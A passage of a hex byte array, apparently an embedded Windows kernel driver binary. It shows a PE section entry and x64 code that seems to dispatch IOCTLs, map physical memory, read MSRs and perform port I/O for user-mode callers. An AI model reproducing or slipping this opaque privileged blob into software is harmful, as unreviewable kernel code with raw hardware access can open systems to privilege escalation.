0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, - 0x6F, 0x63, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0xAA, 0xB8, 0x00, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x59, 0x22, 0x00, 0x00, 0x48, 0x83, 0x60, 0xE8, 0x00, - 0x48, 0x8B, 0xF2, 0x33, 0xD2, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xFF, - 0x15, 0xFB, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x0D, 0x74, 0x22, 0x00, 0x00, - 0x4C, 0x8D, 0x3D, 0x6D, 0x22, 0x00, 0x00, 0x49, 0x3B, 0xCF, 0x74, 0x3C, - 0x48, 0x8B, 0x45, 0x30, 0x48, 0x8B, 0x19, 0x48, 0x39, 0x41, 0x10, 0x75, - 0x20, 0x48, 0x39, 0x4B, 0x08, 0x75, 0x22, 0x48, 0x8B, 0x79, 0x08, 0x48, - 0x39, 0x0F, 0x75, 0x19, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x7B, 0x08, 0xE8, - 0xEC, 0x02, 0x00, 0x00, 0x48, 0x3B, 0xFB, 0x74, 0x0F, 0x48, 0x8B, 0xCB, - 0x49, 0x3B, 0xDF, 0xEB, 0xC9, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, - 0x48, 0x83, 0x66, 0x38, 0x00, 0x33, 0xD2, 0x83, 0x66, 0x30, 0x00, 0x48, - 0x8B, 0xCE, 0xFF, 0x15, 0xF8, 0x0F, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, - 0x0D, 0xD7, 0x21, 0x00, 0x00, 0xFF, 0x15, 0x81, 0x0F, 0x00, 0x00, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x33, 0xC0, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, - 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x83, 0xC4, - 0x30, 0x41, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, - 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xCA, 0x83, 0x62, 0x30, 0x00, - 0x33, 0xD2, 0xFF, 0x15, 0xB0, 0x0F, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, - 0xC4, 0x28, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x4C, 0x8B, 0xAA, - 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x7A, 0x38, 0x48, 0x8B, 0x72, 0x18, - 0x33, 0xDB, 0x4C, 0x8B, 0xFA, 0xBA, 0x4C, 0x93, 0x22, 0x00, 0x41, 0x8B, - 0x4D, 0x18, 0x41, 0x8B, 0x6D, 0x10, 0x45, 0x8B, 0x75, 0x08, 0x48, 0x89, - 0x1F, 0x3B, 0xCA, 0x0F, 0x87, 0xA0, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x10, - 0x01, 0x00, 0x00, 0x8B, 0xC1, 0x2D, 0x48, 0x53, 0x22, 0x00, 0x74, 0x7C, - 0x83, 0xE8, 0x10, 0x0F, 0x84, 0xDE, 0x00, 0x00, 0x00, 0x83, 0xE8, 0x1C, - 0x74, 0x45, 0x83, 0xE8, 0x08, 0x74, 0x1E, 0x83, 0xF8, 0x0C, 0x0F, 0x85, - 0x92, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, - 0x48, 0x8B, 0xCE, 0xE8, 0x4C, 0x05, 0x00, 0x00, 0xE9, 0xEC, 0x00, 0x00, - 0x00, 0x41, 0x83, 0xFE, 0x04, 0x73, 0x0A, 0xBB, 0x23, 0x00, 0x00, 0xC0, - 0xE9, 0xDE, 0x00, 0x00, 0x00, 0xC7, 0x06, 0x12, 0x00, 0x00, 0x01, 0x48, - 0xC7, 0x07, 0x04, 0x00, 0x00, 0x00, 0xE9, 0xCC, 0x00, 0x00, 0x00, 0x49, - 0x8B, 0xCF, 0xFF, 0x15, 0x20, 0x0F, 0x00, 0x00, 0x49, 0x8B, 0x55, 0x30, - 0x44, 0x8B, 0xCD, 0x8B, 0xC8, 0x48, 0x89, 0x7C, 0x24, 0x28, 0x4C, 0x8B, - 0xC6, 0x44, 0x89, 0x74, 0x24, 0x20, 0xE8, 0x1D, 0x02, 0x00, 0x00, 0xE9, - 0xA1, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, - 0x48, 0x8B, 0xCE, 0xE8, 0x24, 0x05, 0x00, 0x00, 0xE9, 0x8C, 0x00, 0x00, - 0x00, 0x8B, 0xC1, 0x2D, 0x50, 0x93, 0x22, 0x00, 0x74, 0x6B, 0x83, 0xE8, - 0x04, 0x74, 0x48, 0x83, 0xE8, 0x24, 0x74, 0x2F, 0x83, 0xE8, 0x08, 0x74, - 0x1B, 0x83, 0xF8, 0x04, 0x74, 0x07, 0xBB, 0x02, 0x00, 0x00, 0xC0, 0xEB, - 0x6A, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xE8, 0xAE, 0x07, - 0x00, 0x00, 0xEB, 0x59, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, - 0xE8, 0xCF, 0x07, 0x00, 0x00, 0xEB, 0x4A, 0x49, 0x8B, 0x4D, 0x30, 0x4C, - 0x8B, 0xCF, 0x44, 0x8B, 0xC5, 0x48, 0x8B, 0xD6, 0xE8, 0xCB, 0x06, 0x00, - 0x00, 0xEB, 0x36, 0x81, 0xF9, 0x54, 0x93, 0x22, 0x00, 0x48, 0x89, 0x7C, - 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x0F, 0x94, 0xC2, 0x48, - 0x8B, 0xCE, 0xE8, 0x29, 0x06, 0x00, 0x00, 0xEB, 0x18, 0x3B, 0xCA, 0x0F, - 0x94, 0xC2, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, - 0xC5, 0x48, 0x8B, 0xCE, 0xE8, 0x03, 0x05, 0x00, 0x00, 0x8B, 0xD8, 0x33, - 0xD2, 0x41, 0x89, 0x5F, 0x30, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x1E, 0x0E, - 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, - 0x24, 0x50, 0x48, 0x8B, 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, - 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0xC3, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, - 0xD9, 0x48, 0x8D, 0x0D, 0x50, 0x20, 0x00, 0x00, 0xFF, 0x15, 0xAA, 0x0D, - 0x00, 0x00, 0x66, 0x83, 0x3D, 0xC2, 0x1D, 0x00, 0x00, 0x00, 0x74, 0x1D, - 0x48, 0x8D, 0x15, 0xB9, 0x1D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, - 0xFF, 0x15, 0x46, 0x0D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, - 0x15, 0xDB, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, 0x48, 0x83, 0xC4, - 0x30, 0x5B, 0x48, 0xFF, 0x25, 0xC3, 0x0D, 0x00, 0x00, 0xCC, 0xCC, 0xCC, - 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, - 0x20, 0x48, 0x8B, 0x1D, 0xA8, 0x1F, 0x00, 0x00, 0x4C, 0x8D, 0x35, 0xA1, - 0x1F, 0x00, 0x00, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0xE9, - 0xEB, 0x19, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCB, 0x48, - 0x8B, 0xC5, 0xFF, 0x15, 0xD4, 0x0D, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x25, - 0x48, 0x8B, 0x1B, 0x49, 0x3B, 0xDE, 0x75, 0xE2, 0x33, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, - 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, - 0xC3, 0x48, 0x8B, 0xC3, 0xEB, 0xE0, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0x51, 0x38, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0x49, - 0x30, 0xFF, 0x15, 0x6D, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x38, 0xFF, - 0x15, 0x3B, 0x0D, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8B, 0x4B, 0x20, - 0xFF, 0x15, 0xF6, 0x0C, 0x00, 0x00, 0xFF, 0x05, 0x84, 0x1F, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x61, 0x1F, 0x00, 0x00, 0xFF, 0x15, 0x9B, 0x0C, 0x00, - 0x00, 0x66, 0x3B, 0x05, 0x64, 0x1F, 0x00, 0x00, 0x72, 0x1C, 0xFF, 0x05, - 0x6C, 0x1F, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x48, 0x8B, 0x05, 0x7A, 0x1F, - 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x3E, 0x0D, - 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x0D, 0x2C, 0x1F, 0x00, 0x00, - 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x70, 0x0C, 0x00, 0x00, - 0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x89, - 0x48, 0x08, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, - 0x57, 0x48, 0x83, 0xEC, 0x50, 0x49, 0x8B, 0xF0, 0x8B, 0xF9, 0x41, 0x83, - 0xF9, 0x0C, 0x0F, 0x82, 0x67, 0x02, 0x00, 0x00, 0x83, 0xBC, 0x24, 0xB0, - 0x00, 0x00, 0x00, 0x08, 0x0F, 0x82, 0x59, 0x02, 0x00, 0x00, 0x33, 0xDB, - 0x48, 0x89, 0x58, 0x98, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, - 0x48, 0x8D, 0x0D, 0x51, 0x1E, 0x00, 0x00, 0xFF, 0x15, 0x03, 0x0C, 0x00, - 0x00, 0x44, 0x8B, 0xC7, 0x48, 0x8B, 0x16, 0x48, 0x8D, 0x0D, 0x6E, 0x02, - 0x00, 0x00, 0xE8, 0xA9, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0xC8, 0x48, 0x85, - 0xC0, 0x74, 0x1E, 0xFF, 0x40, 0x40, 0x48, 0x8B, 0x84, 0x24, 0xB8, 0x00, - 0x00, 0x00, 0x48, 0xC7, 0x00, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x41, - 0x30, 0x48, 0x89, 0x06, 0xE9, 0x5B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x0E, - 0x8B, 0x56, 0x08, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0x04, 0x0C, 0x00, 0x00, - 0x4C, 0x8B, 0xF8, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x85, 0xC0, 0x0F, - 0x84, 0x36, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, - 0xC9, 0x45, 0x33, 0xC0, 0x8B, 0x56, 0x08, 0x48, 0x8B, 0xC8, 0xFF, 0x15, - 0xEC, 0x0B, 0x00, 0x00, 0x4C, 0x8B, 0xF0, 0x48, 0x89, 0x44, 0x24, 0x48, - 0x48, 0x85, 0xC0, 0x75, 0x16, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, - 0x15, 0xCB, 0x0B, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x01, - 0x01, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x98, 0x0B, 0x00, 0x00, - 0x48, 0x89, 0x5C, 0x24, 0x38, 0x8B, 0x05, 0x69, 0x1B, 0x00, 0x00, 0x83, - 0xC8, 0x20, 0x89, 0x44, 0x24, 0x28, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, - 0xC9, 0x45, 0x33, 0xC0, 0xB2, 0x01, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x79, - 0x0B, 0x00, 0x00, 0x45, 0x8B, 0x6E, 0x2C, 0x48, 0x25, 0x00, 0xF0, 0xFF, - 0xFF, 0x4C, 0x03, 0xE8, 0x4C, 0x89, 0x6C, 0x24, 0x38, 0x44, 0x8B, 0xE3, - 0xB8, 0x9A, 0x00, 0x00, 0xC0, 0x44, 0x0F, 0x44, 0xE0, 0x44, 0x89, 0x64, - 0x24, 0x30, 0xEB, 0x1E, 0x44, 0x8B, 0xE0, 0x89, 0x44, 0x24, 0x30, 0x48, - 0x8B, 0xB4, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x7C, 0x24, 0x40, - 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x4C, 0x8B, 0x6C, 0x24, 0x38, 0x45, 0x85, - 0xE4, 0x79, 0x1A, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x78, 0x0B, 0x00, 0x00, - 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x34, 0x0B, 0x00, 0x00, - 0xE9, 0x06, 0x01, 0x00, 0x00, 0xFF, 0x05, 0xB5, 0x1D, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x9A, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0xDC, 0x0A, 0x00, 0x00, - 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x75, 0x29, 0xFF, 0x05, 0x9E, 0x1D, - 0x00, 0x00, 0x8B, 0x15, 0xAC, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xA9, - 0x1D, 0x00, 0x00, 0x44, 0x8B, 0x05, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x0D, - 0x90, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0x6E, 0x0B, 0x00, 0x00, 0x48, 0x8B, - 0xF8, 0x48, 0x85, 0xFF, 0x75, 0x3C, 0x49, 0x8B, 0xD6, 0x49, 0x8B, 0xCD, - 0xFF, 0x15, 0x3A, 0x0B, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x09, - 0x0B, 0x00, 0x00, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0xC5, - 0x0A, 0x00, 0x00, 0xBB, 0x17, 0x00, 0x00, 0xC0, 0x33, 0xD2, 0x48, 0x8D, - 0x0D, 0xAF, 0x1C, 0x00, 0x00, 0xFF, 0x15, 0x59, 0x0A, 0x00, 0x00, 0x8B, - 0xC3, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x8D, 0x42, 0x48, - 0x48, 0x8B, 0xCF, 0xE8, 0x54, 0x08, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, - 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8B, 0x46, 0x08, 0x89, - 0x47, 0x28, 0x48, 0x8B, 0x06, 0x48, 0x89, 0x47, 0x18, 0x4C, 0x89, 0x7F, - 0x20, 0x4C, 0x89, 0x6F, 0x30, 0x4C, 0x89, 0x77, 0x38, 0xC7, 0x47, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x89, - 0x47, 0x2C, 0x48, 0x8B, 0x05, 0x97, 0x1C, 0x00, 0x00, 0x48, 0x8D, 0x0D, - 0x88, 0x1C, 0x00, 0x00, 0x48, 0x39, 0x08, 0x74, 0x07, 0xB9, 0x03, 0x00, - 0x00, 0x00, 0xCD, 0x29, 0x48, 0x89, 0x0F, 0x48, 0x89, 0x47, 0x08, 0x48, - 0x89, 0x38, 0x48, 0x89, 0x3D, 0x73, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0x8C, - 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x01, 0x08, 0x00, 0x00, 0x00, - 0x4C, 0x89, 0x2E, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0x18, 0x1C, 0x00, 0x00, - 0xFF, 0x15, 0xC2, 0x09, 0x00, 0x00, 0x41, 0x8B, 0xC4, 0xEB, 0x05, 0xB8, - 0x23, 0x00, 0x00, 0xC0, 0x48, 0x83, 0xC4, 0x50, 0x41, 0x5F, 0x41, 0x5E, - 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x39, 0x51, 0x10, 0x75, 0x09, 0x4C, 0x39, - 0x41, 0x30, 0x75, 0x03, 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x48, 0x39, 0x51, 0x18, 0x75, 0x09, 0x44, 0x39, 0x41, 0x2C, 0x75, 0x03, - 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0x4C, 0x8B, 0xD1, 0x83, - 0xFA, 0x04, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0x41, 0x83, - 0xF8, 0x08, 0x72, 0xF4, 0x45, 0x33, 0xC0, 0x8B, 0x09, 0x0F, 0x32, 0x48, - 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x49, 0x89, 0x02, 0x49, 0xC7, 0x01, - 0x08, 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, - 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x83, 0xFA, 0x14, 0x72, 0x4C, 0x8B, 0x59, - 0x10, 0x44, 0x3B, 0xC3, 0x72, 0x44, 0x44, 0x8B, 0x41, 0x08, 0x4C, 0x8B, - 0xC9, 0x8B, 0x41, 0x04, 0x41, 0x83, 0xE0, 0x07, 0x8B, 0x11, 0x83, 0xE0, - 0x1F, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x89, 0x5C, 0x24, 0x28, - 0x8B, 0x41, 0x0C, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, - 0xFF, 0x15, 0xC2, 0x08, 0x00, 0x00, 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x48, - 0x2B, 0xCB, 0x48, 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, - 0xEB, 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, - 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x30, 0x40, 0x8A, 0xEA, - 0x48, 0x8B, 0xF9, 0x41, 0x83, 0xF8, 0x0A, 0x0F, 0x82, 0xC0, 0x00, 0x00, - 0x00, 0xF2, 0x0F, 0x10, 0x01, 0x0F, 0xB7, 0x71, 0x08, 0xF2, 0x0F, 0x11, - 0x40, 0xE8, 0x84, 0xD2, 0x75, 0x0C, 0x0F, 0xB7, 0xC6, 0x44, 0x3B, 0xC8, - 0x0F, 0x82, 0xA3, 0x00, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x20, 0x45, 0x33, - 0xC0, 0x44, 0x0F, 0xB7, 0xF6, 0x41, 0x8B, 0xD6, 0xFF, 0x15, 0xBA, 0x08, - 0x00, 0x00, 0x4C, 0x8B, 0xC0, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0xB8, 0x17, - 0x00, 0x00, 0xC0, 0xE9, 0x82, 0x00, 0x00, 0x00, 0x33, 0xDB, 0x0F, 0xB7, - 0xCE, 0x40, 0x84, 0xED, 0x74, 0x2F, 0x83, 0xE9, 0x01, 0x74, 0x1D, 0x83, - 0xE9, 0x01, 0x74, 0x0E, 0x83, 0xF9, 0x02, 0x75, 0x2F, 0x8B, 0x44, 0x24, - 0x24, 0x41, 0x89, 0x00, 0xEB, 0x11, 0x8B, 0x44, 0x24, 0x24, 0x66, 0x41, - 0x89, 0x00, 0xEB, 0x07, 0x8B, 0x44, 0x24, 0x24, 0x41, 0x88, 0x00, 0xF0, - 0x09, 0x1C, 0x24, 0xEB, 0x28, 0x83, 0xE9, 0x01, 0x74, 0x1F, 0x83, 0xE9, - 0x01, 0x74, 0x12, 0x83, 0xF9, 0x02, 0x74, 0x07, 0xBB, 0x0D, 0x00, 0x00, - 0xC0, 0xEB, 0x12, 0x8B, 0x00, 0x89, 0x07, 0xEB, 0x0C, 0x0F, 0xB7, 0x00, - 0x66, 0x89, 0x07, 0xEB, 0x04, 0x8A, 0x08, 0x88, 0x0F, 0x49, 0x8B, 0xD6, - 0x49, 0x8B, 0xC8, 0xFF, 0x15, 0x43, 0x08, 0x00, 0x00, 0x85, 0xDB, 0x78, - 0x08, 0x48, 0x8B, 0x4C, 0x24, 0x60, 0x4C, 0x89, 0x31, 0x8B, 0xC3, 0xEB, - 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, - 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, - 0x24, 0x58, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, - 0x41, 0x83, 0xF8, 0x0A, 0x72, 0x76, 0x44, 0x0F, 0xB7, 0x41, 0x08, 0x84, - 0xD2, 0x74, 0x2C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x1E, 0x41, 0x83, 0xE8, - 0x01, 0x74, 0x0E, 0x41, 0x83, 0xF8, 0x02, 0x75, 0x31, 0x8B, 0x41, 0x04, - 0x8B, 0x11, 0xEF, 0xEB, 0x10, 0x0F, 0xB7, 0x41, 0x04, 0x8B, 0x11, 0x66, - 0xEF, 0xEB, 0x06, 0x8A, 0x41, 0x04, 0x8B, 0x11, 0xEE, 0xEB, 0x32, 0x45, - 0x3B, 0xC8, 0x72, 0x3C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x22, 0x41, 0x83, - 0xE8, 0x01, 0x74, 0x13, 0x41, 0x83, 0xF8, 0x02, 0x74, 0x06, 0xB8, 0x0D, - 0x00, 0x00, 0xC0, 0xC3, 0x8B, 0x11, 0xED, 0x89, 0x01, 0xEB, 0x0E, 0x8B, - 0x11, 0x66, 0xED, 0x66, 0x89, 0x01, 0xEB, 0x05, 0x8B, 0x11, 0xEC, 0x88, - 0x01, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x0F, 0xB7, 0x49, 0x08, 0x48, 0x89, - 0x08, 0x33, 0xC0, 0xC3, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x48, - 0x8B, 0xF2, 0x48, 0x8B, 0xE9, 0x41, 0x83, 0xF8, 0x08, 0x73, 0x07, 0xB8, - 0x23, 0x00, 0x00, 0xC0, 0xEB, 0x79, 0x33, 0xDB, 0x48, 0x8D, 0x0D, 0x51, - 0x19, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, - 0x33, 0xC0, 0x33, 0xD2, 0xFF, 0x15, 0xF6, 0x06, 0x00, 0x00, 0x4C, 0x8B, - 0x06, 0x48, 0x8D, 0x0D, 0x44, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0xE8, - 0x9C, 0xF9, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x07, 0xBB, 0x25, 0x02, - 0x00, 0xC0, 0xEB, 0x2E, 0x83, 0x40, 0x40, 0xFF, 0x75, 0x21, 0x48, 0x8B, - 0x08, 0x48, 0x39, 0x41, 0x08, 0x75, 0x45, 0x48, 0x8B, 0x50, 0x08, 0x48, - 0x39, 0x02, 0x75, 0x3C, 0x48, 0x89, 0x0A, 0x48, 0x89, 0x51, 0x08, 0x48, - 0x8B, 0xC8, 0xE8, 0xDD, 0xF9, 0xFF, 0xFF, 0x48, 0xC7, 0x07, 